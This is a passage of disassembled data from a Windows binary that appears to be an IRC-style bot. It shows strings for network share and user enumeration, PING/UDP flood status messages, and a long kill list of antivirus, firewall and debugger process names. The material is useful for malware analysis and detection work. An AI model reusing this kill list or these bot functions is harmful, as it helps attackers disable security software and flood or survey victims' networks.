aNetSNoShareSpe	db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_4077B6+ABo
		align 4
; char aNetSShareS_[]
aNetSShareS_	db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_4077B6+89o
		align 4
; char aNetSErrorWithS[]
aNetSErrorWithS	db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_4077B6+57o
		align 4
; char a14s24s6u4s[]
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_407944+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_407944+BCo
		align 10h
aYes		db 'Yes',0              ; DATA XREF: sub_407944+B5o
; char aNetShareListEr[]
aNetShareListEr	db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_407944+76o
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_407944+26o
		align 10h
; char aNetSNoUsername[]
aNetSNoUsername	db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_407A65+B6o
		align 4
; char aNetSErrorWithU[]
aNetSErrorWithU	db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0
					; DATA XREF: sub_407A65+94o
		align 10h
; char aNetSUsernameS_[]
aNetSUsernameS_	db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_407A65+6Do
		align 4
; char aNetUserInfoErr[]
aNetUserInfoErr	db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_407BAB+394o
		align 4
; char aUnitsPerWeekD[]
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_407BAB+36Ao
		align 10h
; char aMax_StorageD[]
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_407BAB+33Fo
		align 4
; char aUserSLanguageD[]
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_407BAB+317o
; char aCountryCodeD[]
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_407BAB+2ECo
		align 4
; char aWorkstationsS[]
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_407BAB+2C4o
		align 10h
; char aLogonServerS[]
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_407BAB+299o
		align 4
; char aLastLogoffD[]
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_407BAB+271o
; char aLastLogonD[]
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_407BAB+246o
		align 4
; char aNumberOfLogins[]
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_407BAB+21Eo
		align 4
; char aBadPasswordCou[]
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_407BAB+1F3o
		align 4
; char aPasswordAgeD[]
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_407BAB+1CBo
		align 4
; char aParametersS[]
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_407BAB+1A0o
		align 4
; char aHomeDirectoryS[]
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_407BAB+178o
		align 4
; char aAuthFlagsD[]
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_407BAB+14Do
		align 4
; char aPrivilegeLevel[]
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_407BAB+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_407BAB:loc_407CC4o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_407BAB:loc_407CBDo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_407BAB:loc_407CB6o
		align 10h
; char aCommentS[]
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_407BAB+D4o
; char aUserCommentS[]
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_407BAB+ACo
		align 10h
; char aFullNameS[]
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_407BAB+81o
		align 10h
; char aAccountS[]
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_407BAB+50o
; char aTotalUsersFoun[]
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_407F79+14Fo
		align 4
; char aNetAnAccessVio[]
aNetAnAccessVio	db '[NET]: An access violation has occured.',0 ; DATA XREF: sub_407F79+F7o
; char aS_4[]
aS_4		db '  %S',0             ; DATA XREF: sub_407F79+BEo
		align 4
; char aNetUserListErr[]
aNetUserListErr	db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_407F79+7Ao
		align 4
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_407F79+29o
; char aNetworkConnect[]
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4080F9:loc_408216o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4080F9:loc_40820Fo
		align 10h
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4080F9:loc_408208o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4080F9:loc_408201o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_4080F9:loc_4081FAo
		align 10h
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4080F9:loc_4081DDo
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4080F9:loc_4081D6o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4080F9:loc_4081CFo
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4080F9+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4080F9:loc_4081A4o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4080F9:loc_40819Do
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4080F9:loc_408196o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4080F9:loc_40818Co
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4080F9+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4080F9:loc_408166o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4080F9:loc_40815Co
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4080F9:loc_408152o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4080F9:loc_408148o
		align 10h
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4080F9:loc_40813Eo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4080F9+3Bo
		align 4
; char aNetSServerSMes[]
aNetSServerSMes	db '[NET]: %s <Server: %S> <Message: %S>',0 ; DATA XREF: sub_40822D+ABo
		align 4
; char aNetMessageSent[]
aNetMessageSent	db '[NET]: Message sent successfully.',0 ; DATA XREF: sub_40822D+81o
		align 4
aFlushdnsNotSup	db '[FLUSHDNS]: Not supported by this system.',0
					; DATA XREF: sub_408323:loc_4083E2o
		align 4
; char aFlushdnsUnable[]
aFlushdnsUnable	db '[FLUSHDNS]: Unable to allocation ARP cache.',0
					; DATA XREF: sub_408323:loc_4083B0o
aFlushdnsArpCac	db '[FLUSHDNS]: ARP cache is empty.',0 ; DATA XREF: sub_408323:loc_40837Co
; char aFlushdnsErrorG[]
aFlushdnsErrorG	db '[FLUSHDNS]: Error getting ARP cache: <%d>.',0
					; DATA XREF: sub_408323+49o
		align 4
; char aPingFinishedSe[]
aPingFinishedSe	db '[PING]: Finished sending pings to %s.',0 ; DATA XREF: sub_4084A7+13Co
		align 4
; char aPingErrorSendi[]
aPingErrorSendi	db '[PING]: Error sending pings to %s.',0 ; DATA XREF: sub_4084A7+6Eo
		align 4
; char aUdpFinishedSen[]
aUdpFinishedSen	db '[UDP]: Finished sending packets to %s.',0 ; DATA XREF: sub_408633+1C6o
		align 10h
; char aUdpErrorSendin[]
aUdpErrorSendin	db '[UDP]: Error sending pings to %s.',0 ; DATA XREF: sub_408633+8Eo
		align 4
dword_421F04	dd 7530h		; DATA XREF: sub_408BF8+12r
off_421F08	dd offset aAckwin32_exe	; DATA XREF: sub_4088B4+CBo
					; "ACKWIN32.EXE"
		dd offset aAdaware_exe	; "ADAWARE.EXE"
		dd offset aAdvxdwin_exe	; "ADVXDWIN.EXE"
		dd offset aAgentsvr_exe	; "AGENTSVR.EXE"
		dd offset aAgentw_exe	; "AGENTW.EXE"
		dd offset aAlertsvc_exe	; "ALERTSVC.EXE"
		dd offset aAlevir_exe	; "ALEVIR.EXE"
		dd offset aAlogserv_exe	; "ALOGSERV.EXE"
		dd offset aAmon9x_exe	; "AMON9X.EXE"
		dd offset aAntiTrojan_exe ; "ANTI-TROJAN.EXE"
		dd offset aAntivirus_exe ; "ANTIVIRUS.EXE"
		dd offset aAnts_exe	; "ANTS.EXE"
		dd offset aApimonitor_exe ; "APIMONITOR.EXE"
		dd offset aAplica32_exe	; "APLICA32.EXE"
		dd offset aApvxdwin_exe	; "APVXDWIN.EXE"
		dd offset aArr_exe	; "ARR.EXE"
		dd offset aAtcon_exe	; "ATCON.EXE"
		dd offset aAtguard_exe	; "ATGUARD.EXE"
		dd offset aAtro55en_exe	; "ATRO55EN.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtupdater_exe ; "ATUPDATER.EXE"
		dd offset aAtwatch_exe	; "ATWATCH.EXE"
		dd offset aAu_exe	; "AU.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAupdate_exe	; "AUPDATE.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutodown_exe	; "AUTODOWN.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutotrace_exe ; "AUTOTRACE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAutoupdate_exe ; "AUTOUPDATE.EXE"
		dd offset aAvconsol_exe	; "AVCONSOL.EXE"
		dd offset aAve32_exe	; "AVE32.EXE"
		dd offset aAvgcc32_exe	; "AVGCC32.EXE"
		dd offset aAvgctrl_exe	; "AVGCTRL.EXE"
		dd offset aAvgnt_exe	; "AVGNT.EXE"
		dd offset aAvgserv_exe	; "AVGSERV.EXE"
		dd offset aAvgserv9_exe	; "AVGSERV9.EXE"
		dd offset aAvguard_exe	; "AVGUARD.EXE"
		dd offset aAvgw_exe	; "AVGW.EXE"
		dd offset aAvkpop_exe	; "AVKPOP.EXE"
		dd offset aAvkserv_exe	; "AVKSERV.EXE"
		dd offset aAvkservice_exe ; "AVKSERVICE.EXE"
		dd offset aAvkwctl9_exe	; "AVKWCTl9.EXE"
		dd offset aAvltmain_exe	; "AVLTMAIN.EXE"
		dd offset aAvnt_exe	; "AVNT.EXE"
		dd offset aAvp_exe	; "AVP.EXE"
		dd offset aAvp32_exe	; "AVP32.EXE"
		dd offset aAvpcc_exe	; "AVPCC.EXE"
		dd offset aAvpdos32_exe	; "AVPDOS32.EXE"
		dd offset aAvpm_exe	; "AVPM.EXE"
		dd offset aAvptc32_exe	; "AVPTC32.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvpupd_exe	; "AVPUPD.EXE"
		dd offset aAvsched32_exe ; "AVSCHED32.EXE"
		dd offset aAvsynmgr_exe	; "AVSYNMGR.EXE"
		dd offset aAvwin95_exe	; "AVWIN95.EXE"
		dd offset aAvwinnt_exe	; "AVWINNT.EXE"
		dd offset aAvwupd_exe	; "AVWUPD.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupd32_exe	; "AVWUPD32.EXE"
		dd offset aAvwupsrv_exe	; "AVWUPSRV.EXE"
		dd offset aAvxmonitor9x_e ; "AVXMONITOR9X.EXE"
		dd offset aAvxmonitornt_e ; "AVXMONITORNT.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aAvxquar_exe	; "AVXQUAR.EXE"
		dd offset aBackweb_exe	; "BACKWEB.EXE"
		dd offset aBargains_exe	; "BARGAINS.EXE"
		dd offset aBd_professiona ; "BD_PROFESSIONAL.EXE"
		dd offset aBeagle_exe	; "BEAGLE.EXE"
		dd offset aBelt_exe	; "BELT.EXE"
		dd offset aBidef_exe	; "BIDEF.EXE"
		dd offset aBidserver_exe ; "BIDSERVER.EXE"
		dd offset aBipcp_exe	; "BIPCP.EXE"
		dd offset aBipcpevalsetup ; "BIPCPEVALSETUP.EXE"
		dd offset aBisp_exe	; "BISP.EXE"
		dd offset aBlackd_exe	; "BLACKD.EXE"
		dd offset aBlackice_exe	; "BLACKICE.EXE"
		dd offset aBlss_exe	; "BLSS.EXE"
		dd offset aBootconf_exe	; "BOOTCONF.EXE"
		dd offset aBootwarn_exe	; "BOOTWARN.EXE"
		dd offset aBorg2_exe	; "BORG2.EXE"
		dd offset aBpc_exe	; "BPC.EXE"
		dd offset aBrasil_exe	; "BRASIL.EXE"
		dd offset aBs120_exe	; "BS120.EXE"
		dd offset aBundle_exe	; "BUNDLE.EXE"
		dd offset aBvt_exe	; "BVT.EXE"
		dd offset aCcapp_exe	; "CCAPP.EXE"
		dd offset aCcevtmgr_exe	; "CCEVTMGR.EXE"
		dd offset aCcpxysvc_exe	; "CCPXYSVC.EXE"
		dd offset aCdp_exe	; "CDP.EXE"
		dd offset aCfd_exe	; "CFD.EXE"
		dd offset aCfgwiz_exe	; "CFGWIZ.EXE"
		dd offset aCfiadmin_exe	; "CFIADMIN.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfiaudit_exe	; "CFIAUDIT.EXE"
		dd offset aCfinet_exe	; "CFINET.EXE"
		dd offset aCfinet32_exe	; "CFINET32.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aClean_exe	; "CLEAN.EXE"
		dd offset aCleaner_exe	; "CLEANER.EXE"
		dd offset aCleaner3_exe	; "CLEANER3.EXE"
		dd offset aCleanpc_exe	; "CLEANPC.EXE"
		dd offset aClick_exe	; "CLICK.EXE"
		dd offset aCmd32_exe	; "CMD32.EXE"
		dd offset aCmesys_exe	; "CMESYS.EXE"
		dd offset aCmgrdian_exe	; "CMGRDIAN.EXE"
		dd offset aCmon016_exe	; "CMON016.EXE"
		dd offset aConnectionmoni ; "CONNECTIONMONITOR.EXE"
		dd offset aCpd_exe	; "CPD.EXE"
		dd offset aCpf9x206_exe	; "CPF9X206.EXE"
		dd offset aCpfnt206_exe	; "CPFNT206.EXE"
		dd offset aCtrl_exe	; "CTRL.EXE"
		dd offset aCv_exe	; "CV.EXE"
		dd offset aCwnb181_exe	; "CWNB181.EXE"
		dd offset aCwntdwmo_exe	; "CWNTDWMO.EXE"
		dd offset aClaw95_exe	; "Claw95.EXE"
		dd offset aClaw95cf_exe	; "CLAW95CF.EXE"
		dd offset aDatemanager_ex ; "DATEMANAGER.EXE"
		dd offset aDcomx_exe	; "DCOMX.EXE"
		dd offset aDefalert_exe	; "DEFALERT.EXE"
		dd offset aDefscangui_exe ; "DEFSCANGUI.EXE"
		dd offset aDefwatch_exe	; "DEFWATCH.EXE"
		dd offset aDeputy_exe	; "DEPUTY.EXE"
		dd offset aDivx_exe	; "DIVX.EXE"
		dd offset aDllcache_exe	; "DLLCACHE.EXE"
		dd offset aDllreg_exe	; "DLLREG.EXE"
		dd offset aDoors_exe	; "DOORS.EXE"
		dd offset aDpf_exe	; "DPF.EXE"
		dd offset aDpfsetup_exe	; "DPFSETUP.EXE"
		dd offset aDpps2_exe	; "DPPS2.EXE"
		dd offset aDrwatson_exe	; "DRWATSON.EXE"
		dd offset aDrweb32_exe	; "DRWEB32.EXE"
		dd offset aDrwebupw_exe	; "DRWEBUPW.EXE"
		dd offset aDssagent_exe	; "DSSAGENT.EXE"
		dd offset aDvp95_exe	; "DVP95.EXE"
		dd offset aDvp95_0_exe	; "DVP95_0.EXE"
		dd offset aEcengine_exe	; "ECENGINE.EXE"
		dd offset aEfpeadm_exe	; "EFPEADM.EXE"
		dd offset aEmsw_exe	; "EMSW.EXE"
		dd offset aEnt_exe	; "ENT.EXE"
		dd offset aEsafe_exe	; "ESAFE.EXE"
		dd offset aEscanh95_exe	; "ESCANH95.EXE"
		dd offset aEscanhnt_exe	; "ESCANHNT.EXE"
		dd offset aEscanv95_exe	; "ESCANV95.EXE"
		dd offset aEspwatch_exe	; "ESPWATCH.EXE"
		dd offset aEthereal_exe	; "ETHEREAL.EXE"
		dd offset aEtrustcipe_exe ; "ETRUSTCIPE.EXE"
		dd offset aEvpn_exe	; "EVPN.EXE"
		dd offset aExantivirusCne ; "EXANTIVIRUS-CNET.EXE"
		dd offset aExe_avxw_exe	; "EXE.AVXW.EXE"
		dd offset aExpert_exe	; "EXPERT.EXE"
		dd offset aExplore_exe	; "EXPLORE.EXE"
		dd offset aFAgnt95_exe	; "F-AGNT95.EXE"
		dd offset aFProt_exe	; "F-PROT.EXE"
		dd offset aFProt95_exe	; "F-PROT95.EXE"
		dd offset aFStopw_exe	; "F-STOPW.EXE"
		dd offset aFameh32_exe	; "FAMEH32.EXE"
		dd offset aFast_exe	; "FAST.EXE"
		dd offset aFch32_exe	; "FCH32.EXE"
		dd offset aFih32_exe	; "FIH32.EXE"
		dd offset aFindviru_exe	; "FINDVIRU.EXE"
		dd offset aFirewall_exe	; "FIREWALL.EXE"
		dd offset aFlowprotector_ ; "FLOWPROTECTOR.EXE"
		dd offset aFnrb32_exe	; "FNRB32.EXE"
		dd offset aFpWin_exe	; "FP-WIN.EXE"
		dd offset aFpWin_trial_ex ; "FP-WIN_TRIAL.EXE"
		dd offset aFprot_exe	; "FPROT.EXE"
		dd offset aFrw_exe	; "FRW.EXE"
		dd offset aFsaa_exe	; "FSAA.EXE"
		dd offset aFsav_exe	; "FSAV.EXE"
		dd offset aFsav32_exe	; "FSAV32.EXE"
		dd offset aFsav530stbyb_e ; "FSAV530STBYB.EXE"
		dd offset aFsav530wtbyb_e ; "FSAV530WTBYB.EXE"
		dd offset aFsav95_exe	; "FSAV95.EXE"
		dd offset aFsgk32_exe	; "FSGK32.EXE"
		dd offset aFsm32_exe	; "FSM32.EXE"
		dd offset aFsma32_exe	; "FSMA32.EXE"
		dd offset aFsmb32_exe	; "FSMB32.EXE"
		dd offset aGator_exe	; "GATOR.EXE"
		dd offset aGbmenu_exe	; "GBMENU.EXE"
		dd offset aGbpoll_exe	; "GBPOLL.EXE"
		dd offset aGenerics_exe	; "GENERICS.EXE"
		dd offset aGmt_exe	; "GMT.EXE"
		dd offset aGuard_exe	; "GUARD.EXE"
		dd offset aGuarddog_exe	; "GUARDDOG.EXE"
		dd offset aHacktracersetu ; "HACKTRACERSETUP.EXE"
		dd offset aHbinst_exe	; "HBINST.EXE"
		dd offset aHbsrv_exe	; "HBSRV.EXE"
		dd offset aHotactio_exe	; "HOTACTIO.EXE"
		dd offset aHotpatch_exe	; "HOTPATCH.EXE"
		dd offset aHtlog_exe	; "HTLOG.EXE"
		dd offset aHtpatch_exe	; "HTPATCH.EXE"
		dd offset aHwpe_exe	; "HWPE.EXE"
		dd offset aHxdl_exe	; "HXDL.EXE"
		dd offset aHxiul_exe	; "HXIUL.EXE"
		dd offset aIamapp_exe	; "IAMAPP.EXE"
		dd offset aIamserv_exe	; "IAMSERV.EXE"
		dd offset aIamstats_exe	; "IAMSTATS.EXE"
		dd offset aIbmasn_exe	; "IBMASN.EXE"
		dd offset aIbmavsp_exe	; "IBMAVSP.EXE"
		dd offset aIcload95_exe	; "ICLOAD95.EXE"
		dd offset aIcloadnt_exe	; "ICLOADNT.EXE"
		dd offset aIcmon_exe	; "ICMON.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsupp95_exe	; "ICSUPP95.EXE"
		dd offset aIcsuppnt_exe	; "ICSUPPNT.EXE"
		dd offset aIdle_exe	; "IDLE.EXE"
		dd offset aIedll_exe	; "IEDLL.EXE"
		dd offset aIedriver_exe	; "IEDRIVER.EXE"
		dd offset aIexplorer_exe ; "IEXPLORER.EXE"
		dd offset aIface_exe	; "IFACE.EXE"
		dd offset aIfw2000_exe	; "IFW2000.EXE"
		dd offset aInetlnfo_exe	; "INETLNFO.EXE"
		dd offset aInfus_exe	; "INFUS.EXE"
		dd offset aInfwin_exe	; "INFWIN.EXE"
		dd offset aInit_exe	; "INIT.EXE"
		dd offset aIntdel_exe	; "INTDEL.EXE"
		dd offset aIntren_exe	; "INTREN.EXE"
		dd offset aIomon98_exe	; "IOMON98.EXE"
		dd offset aIparmor_exe	; "IPARMOR.EXE"
		dd offset aIris_exe	; "IRIS.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aIsrv95_exe	; "ISRV95.EXE"
		dd offset aIstsvc_exe	; "ISTSVC.EXE"
		dd offset aJammer_exe	; "JAMMER.EXE"
		dd offset aJdbgmrg_exe	; "JDBGMRG.EXE"
		dd offset aJedi_exe	; "JEDI.EXE"
		dd offset aKavlite40eng_e ; "KAVLITE40ENG.EXE"
		dd offset aKavpers40eng_e ; "KAVPERS40ENG.EXE"
		dd offset aKavpf_exe	; "KAVPF.EXE"
		dd offset aKazza_exe	; "KAZZA.EXE"
		dd offset aKeenvalue_exe ; "KEENVALUE.EXE"
		dd offset aKerioPf213EnWi ; "KERIO-PF-213-EN-WIN.EXE"
		dd offset aKerioWrl421EnW ; "KERIO-WRL-421-EN-WIN.EXE"
		dd offset aKerioWrp421EnW ; "KERIO-WRP-421-EN-WIN.EXE"
		dd offset aKernel32_exe	; "KERNEL32.EXE"
		dd offset aKillprocessset ; "KILLPROCESSSETUP161.EXE"
		dd offset aLauncher_exe	; "LAUNCHER.EXE"
		dd offset aLdnetmon_exe	; "LDNETMON.EXE"
		dd offset aLdpro_exe	; "LDPRO.EXE"
		dd offset aLdpromenu_exe ; "LDPROMENU.EXE"
		dd offset aLdscan_exe	; "LDSCAN.EXE"
		dd offset aLnetinfo_exe	; "LNETINFO.EXE"
		dd offset aLoader_exe	; "LOADER.EXE"
		dd offset aLocalnet_exe	; "LOCALNET.EXE"
		dd offset aLockdown_exe	; "LOCKDOWN.EXE"
		dd offset aLockdown2000_e ; "LOCKDOWN2000.EXE"
		dd offset aLookout_exe	; "LOOKOUT.EXE"
		dd offset aLordpe_exe	; "LORDPE.EXE"
		dd offset aLsetup_exe	; "LSETUP.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuall_exe	; "LUALL.EXE"
		dd offset aLuau_exe	; "LUAU.EXE"
		dd offset aLucomserver_ex ; "LUCOMSERVER.EXE"
		dd offset aLuinit_exe	; "LUINIT.EXE"
		dd offset aLuspt_exe	; "LUSPT.EXE"
		dd offset aMapisvc32_exe ; "MAPISVC32.EXE"
		dd offset aMcagent_exe	; "MCAGENT.EXE"
		dd offset aMcmnhdlr_exe	; "MCMNHDLR.EXE"
		dd offset aMcshield_exe	; "MCSHIELD.EXE"
		dd offset aMctool_exe	; "MCTOOL.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcupdate_exe	; "MCUPDATE.EXE"
		dd offset aMcvsrte_exe	; "MCVSRTE.EXE"
		dd offset aMcvsshld_exe	; "MCVSSHLD.EXE"
		dd offset aMd_exe	; "MD.EXE"
		dd offset aMfin32_exe	; "MFIN32.EXE"
		dd offset aMfw2en_exe	; "MFW2EN.EXE"
		dd offset aMfweng3_02d30_ ; "MFWENG3.02D30.EXE"
		dd offset aMgavrtcl_exe	; "MGAVRTCL.EXE"
		dd offset aMgavrte_exe	; "MGAVRTE.EXE"
		dd offset aMghtml_exe	; "MGHTML.EXE"
		dd offset aMgui_exe	; "MGUI.EXE"
		dd offset aMinilog_exe	; "MINILOG.EXE"
		dd offset aMmod_exe	; "MMOD.EXE"
		dd offset aMonitor_exe	; "MONITOR.EXE"
		dd offset aMoolive_exe	; "MOOLIVE.EXE"
		dd offset aMostat_exe	; "MOSTAT.EXE"
		dd offset aMpfagent_exe	; "MPFAGENT.EXE"
		dd offset aMpfservice_exe ; "MPFSERVICE.EXE"
		dd offset aMpftray_exe	; "MPFTRAY.EXE"
		dd offset aMrflux_exe	; "MRFLUX.EXE"
		dd offset aMsapp_exe	; "MSAPP.EXE"
		dd offset aMsbb_exe	; "MSBB.EXE"
		dd offset aMsblast_exe	; "MSBLAST.EXE"
		dd offset aMscache_exe	; "MSCACHE.EXE"
		dd offset aMsccn32_exe	; "MSCCN32.EXE"
		dd offset aMscman_exe	; "MSCMAN.EXE"
		dd offset aMsconfig_exe	; "MSCONFIG.EXE"
		dd offset aMsdm_exe	; "MSDM.EXE"
		dd offset aMsdos_exe	; "MSDOS.EXE"
		dd offset aMsiexec16_exe ; "MSIEXEC16.EXE"
		dd offset aMsinfo32_exe	; "MSINFO32.EXE"
		dd offset aMslaugh_exe	; "MSLAUGH.EXE"
		dd offset aMsmgt_exe	; "MSMGT.EXE"
		dd offset aMsmsgri32_exe ; "MSMSGRI32.EXE"
		dd offset aMssmmc32_exe	; "MSSMMC32.EXE"
		dd offset aMssys_exe	; "MSSYS.EXE"
		dd offset aMsvxd_exe	; "MSVXD.EXE"
		dd offset aMu0311ad_exe	; "MU0311AD.EXE"
		dd offset aMwatch_exe	; "MWATCH.EXE"
		dd offset aN32scanw_exe	; "N32SCANW.EXE"
		dd offset aNav_exe	; "NAV.EXE"
		dd offset aAutoProtect_na ; "AUTO-PROTECT.NAV80TRY.EXE"
		dd offset aNavap_navapsvc ; "NAVAP.NAVAPSVC.EXE"
		dd offset aNavapsvc_exe	; "NAVAPSVC.EXE"
		dd offset aNavapw32_exe	; "NAVAPW32.EXE"
		dd offset aNavdx_exe	; "NAVDX.EXE"
		dd offset aNavengnavex15_ ; "NAVENGNAVEX15.NAVLU32.EXE"
		dd offset aNavlu32_exe	; "NAVLU32.EXE"
		dd offset aNavnt_exe	; "NAVNT.EXE"
		dd offset aNavstub_exe	; "NAVSTUB.EXE"
		dd offset aNavw32_exe	; "NAVW32.EXE"
		dd offset aNavwnt_exe	; "NAVWNT.EXE"
		dd offset aNc2000_exe	; "NC2000.EXE"
		dd offset aNcinst4_exe	; "NCINST4.EXE"
		dd offset aNdd32_exe	; "NDD32.EXE"
		dd offset aNeomonitor_exe ; "NEOMONITOR.EXE"
		dd offset aNeowatchlog_ex ; "NEOWATCHLOG.EXE"
		dd offset aNetarmor_exe	; "NETARMOR.EXE"
		dd offset aNetd32_exe	; "NETD32.EXE"
		dd offset aNetinfo_exe	; "NETINFO.EXE"
		dd offset aNetmon_exe	; "NETMON.EXE"
		dd offset aNetscanpro_exe ; "NETSCANPRO.EXE"
		dd offset aNetspyhunter1_ ; "NETSPYHUNTER-1.2.EXE"
		dd offset aNetstat_exe	; "NETSTAT.EXE"
		dd offset aNetutils_exe	; "NETUTILS.EXE"
		dd offset aNisserv_exe	; "NISSERV.EXE"
		dd offset aNisum_exe	; "NISUM.EXE"
		dd offset aNmain_exe	; "NMAIN.EXE"
		dd offset aNod32_exe	; "NOD32.EXE"
		dd offset aNormist_exe	; "NORMIST.EXE"
		dd offset aNorton_interne ; "NORTON_INTERNET_SECU_3.0_407.EXE"
		dd offset aNotstart_exe	; "NOTSTART.EXE"
		dd offset aNpf40_tw_98_nt ; "NPF40_TW_98_NT_ME_2K.EXE"
		dd offset aNpfmessenger_e ; "NPFMESSENGER.EXE"
		dd offset aNprotect_exe	; "NPROTECT.EXE"
		dd offset aNpscheck_exe	; "NPSCHECK.EXE"
		dd offset aNpssvc_exe	; "NPSSVC.EXE"
		dd offset aNsched32_exe	; "NSCHED32.EXE"
		dd offset aNssys32_exe	; "NSSYS32.EXE"
		dd offset aNstask32_exe	; "NSTASK32.EXE"
		dd offset aNsupdate_exe	; "NSUPDATE.EXE"
		dd offset aNt_exe	; "NT.EXE"
		dd offset aNtrtscan_exe	; "NTRTSCAN.EXE"
		dd offset aNtvdm_exe	; "NTVDM.EXE"
		dd offset aNtxconfig_exe ; "NTXconfig.EXE"
		dd offset aNui_exe	; "NUI.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNupgrade_exe	; "NUPGRADE.EXE"
		dd offset aNvarch16_exe	; "NVARCH16.EXE"
		dd offset aNvc95_exe	; "NVC95.EXE"
		dd offset aNvsvc32_exe	; "NVSVC32.EXE"
		dd offset aNwinst4_exe	; "NWINST4.EXE"
		dd offset aNwservice_exe ; "NWSERVICE.EXE"
		dd offset aNwtool16_exe	; "NWTOOL16.EXE"
		dd offset aOllydbg_exe	; "OLLYDBG.EXE"
		dd offset aOnsrvr_exe	; "ONSRVR.EXE"
		dd offset aOptimize_exe	; "OPTIMIZE.EXE"
		dd offset aOstronet_exe	; "OSTRONET.EXE"
		dd offset aOtfix_exe	; "OTFIX.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpost_exe	; "OUTPOST.EXE"
		dd offset aOutpostinstall ; "OUTPOSTINSTALL.EXE"
		dd offset aOutpostproinst ; "OUTPOSTPROINSTALL.EXE"
		dd offset aPadmin_exe	; "PADMIN.EXE"
		dd offset aPanixk_exe	; "PANIXK.EXE"
		dd offset aPatch_exe	; "PATCH.EXE"
		dd offset aPavcl_exe	; "PAVCL.EXE"
		dd offset aPavproxy_exe	; "PAVPROXY.EXE"
		dd offset aPavsched_exe	; "PAVSCHED.EXE"
		dd offset aPavw_exe	; "PAVW.EXE"
